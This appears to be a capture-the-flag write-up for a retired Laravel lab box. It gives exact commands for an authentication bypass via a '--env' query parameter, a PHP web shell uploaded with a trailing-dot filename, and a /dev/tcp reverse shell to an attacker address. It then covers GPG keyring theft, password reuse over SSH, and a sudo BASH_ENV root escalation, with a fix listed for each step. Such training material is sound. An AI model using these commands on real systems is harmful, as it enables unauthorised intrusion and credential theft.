Environment
Summary
I discovered a Laravel-based 'Marketing Management Portal' behind nginx and abused an environment-override query parameter to bypass authentication entirely, landing in an authenticated management dashboard with no valid credentials. From there, a file-upload feature in the management panel accepted a filename ending in a trailing dot, which the filesystem silently stripped after the extension whitelist had already approved it — letting a PHP web shell disguised as a PNG execute as the low-privileged web user. That foothold exposed a world-readable GPG-encrypted credential backup alongside its matching unprotected private keyring, which decrypted cleanly to reveal a local user's password.
Reusing that password over SSH gave a full user shell and the user flag. Finally, a sudo rule that preserved the BASH_ENV environment variable across a permitted command let me inject a startup script that set the setuid bit on bash, yielding a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <a-name-that-does-not-exist> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirms 22/ssh and 80/http (nginx 1.22.1).
$ nmap -sV -p- $TARGETPin the discovered vhost locally.
$ echo "$TARGET environment.htb" | sudo tee -a /etc/hostsConfirms Laravel via XSRF-TOKEN/laravel_session cookies.
$ curl --resolve environment.htb:80:$TARGET -sS -i http://environment.htb/Exact commands 4
A different response to an environment that cannot exist means the flag is being read. That is the whole probe.
$ curl --resolve environment.htb:80:$TARGET -sS -o /dev/null -w '%{http_code} %{size_download}\n' 'http://environment.htb/login?--env=<a-name-that-does-not-exist>'Grab a CSRF token and session cookie; extract the _token value from login.html.
$ curl --resolve environment.htb:80:$TARGET -sS --max-time 15 -c cookies.txt -o login.html 'http://environment.htb/login?--env=preprod'Auth bypass — returns 302 to /management/dashboard authenticated, regardless of the credentials submitted.
$ curl --resolve environment.htb:80:$TARGET -sS -i -b cookies.txt -c cookies.txt 'http://environment.htb/login?--env=preprod' --data-urlencode _token=<CSRF_TOKEN> --data-urlencode email=test@test.com --data-urlencode password=test --data-urlencode remember=onConfirm the session is genuinely authenticated (renders the dashboard, not a login redirect).
$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt http://environment.htb/management/dashboardFixPatch Laravel and disable query-string environment overridesCritical
Exact commands 5
The panel names the component's own routes; the upload endpoint is one of them.
$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt http://environment.htb/management/dashboard | grep -oE '/[a-z-]*filemanager[^"'\'']*'PNG magic header + PHP payload to pass content-sniffing.
$ printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shellTrailing dot bypasses the extension whitelist; filesystem strips it, saving shell.php.
$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt -F 'upload=@shell;filename=shell.php.;type=image/png' http://environment.htb/laravel-filemanager/uploadConfirms code execution as www-data.
$ curl --resolve environment.htb:80:$TARGET -sS 'http://environment.htb/storage/files/shell.php?cmd=id' | tee /tmp/rce-id.outPop an interactive reverse shell; run 'nc -lvnp 443' on $ATTACKER_IP first.
$ curl --resolve environment.htb:80:$TARGET -sS "http://environment.htb/storage/files/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/$ATTACKER_IP/443%200>%261'"FixPatch the file manager and block script execution in upload directoriesCritical
Exact commands 5
Through the reverse shell, as www-data. Whose home is readable is the question.
$ ls -la /home/*/ 2>/dev/nullAn encrypted store is only as good as the key beside it, so look for both.
$ find /home -maxdepth 3 \( -name '*.gpg' -o -name '.gnupg' -o -name '*vault*' \) -readable 2>/dev/nullAs www-data, through the reverse shell. Confirm both the encrypted backup and the secret keyring are world-readable.
$ ls -la /home/hish/backup/keyvault.gpg /home/hish/.gnupgAs www-data, through the reverse shell. Stage a private copy of the keyring GPG will accept.
$ mkdir -p /dev/shm/fh && cp -r /home/hish/.gnupg /dev/shm/fh/ && chmod -R 700 /dev/shm/fh/.gnupgAs www-data, through the reverse shell. Decrypts directly — no passphrase on the secret key. Reveals hish's password.
$ gpg --homedir /dev/shm/fh/.gnupg -d /home/hish/backup/keyvault.gpgFixRestrict permissions on private keys and their encrypted backupsHigh
Exact commands 1
The password needs quoting; unquoted, the shell claims part of it and history expansion eats the rest.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no hish@$TARGET 'id; cat /home/hish/user.txt'
uid=1000(hish) gid=1000(hish)Exact commands 5
As hish. Reveals env_keep includes BASH_ENV and the right to run /usr/bin/systeminfo, which still asks for hish's password.
$ sudo -lScript to make /bin/bash setuid when sourced as root.
$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > /dev/shm/x.sh; chmod +x /dev/shm/x.shSudo preserves BASH_ENV; bash sources x.sh as root before running systeminfo. -S reads hish's password from stdin, because this rule is not passwordless.
$ sudo -S BASH_ENV=/dev/shm/x.sh /usr/bin/systeminfoSetuid bash now grants a root shell.
$ /bin/bash -pConfirms euid=0(root); replace captured value with <root.txt>.
$ id; cat /root/root.txt
euid=0(root)FixStop preserving BASH_ENV/ENV across sudo commandsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.22.1 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.